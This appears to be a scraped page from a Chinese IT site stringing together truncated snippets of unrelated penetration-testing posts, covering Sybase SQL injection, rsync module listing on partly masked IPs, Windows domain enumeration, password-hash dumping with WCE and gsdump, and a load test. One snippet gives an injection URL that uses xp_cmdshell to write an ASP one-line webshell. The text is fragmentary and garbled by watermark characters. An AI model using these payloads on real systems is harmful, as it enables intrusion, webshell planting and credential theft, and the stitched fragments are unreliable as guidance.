14.3 Sybase内的MS SQL Server 注入技术 有大量的关于Microsoft SQL Server应用程序内SQL注入的文章被发表，这是因为Sybase 和MS SQL Server有共同的来源，值得快速研究一下这个著名的技术和其在Sybase内的工作方式。 14.3.1 注释 Sybase使用“--”和“/*”注释风
首先查看873端口是否开放。 然后使用 rsync xxx.xxx.xxx.xxx:: 查看是否可以看到目录。 看相应的下级目录(注意一定要在目录后面添加上/) rsync 210.51.X.X::htdocs_app/ rsync 210.51.X.X::auto/ rsync 210.51.X.X::edu/ 2.下载rsync服务器上的配置文件 rsync -avz
查询域管理员用户：net group "domain admins" /domainT00LS& W% c7 S. C6 M$ ^! E2 t 查询域用户：net user /domain 8 q5 l6 X% s0 q& ^) O* f 查询域名称：net view /domain Security$ m7 o1 r8 x* k! B"
1、 用^转义字符来写ASP(一句话木马)文件的方法: ? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runa
wget ftp://ftp.joedog.org/pub/siege/siege-latest.tar.gz siege http://www.*.com -c200 -t5 siege -c 300 -r 2 http://www.*.cn/ProductReviewContext.aspx?id=314 -b wget http://blog.s135.com/soft/l
今天群里有人在那说wce抓不出来hash，我研究了下，windows2003默认wce抓出来是add，但是gsdump抓出来是正常的，可破的。然后改为发送lm与ntlm，重启服务器，然后再wce抓 就抓的出来 了 还有就是add开头的 ，是无法破的。 超过14位的windows密码，lm段为全0 windows策略限制，组策略改
在Linux 环境下gcc编译exp的时候，,经常遇到如下警告信息 只需要在源代码中添加两个头文件： #include <stdio.h> #include <stdlib.h> #include<string.h> 绝对没问题~
Copyright © 2005-2024 51CTO.COM 版权所有 京ICP证060544号
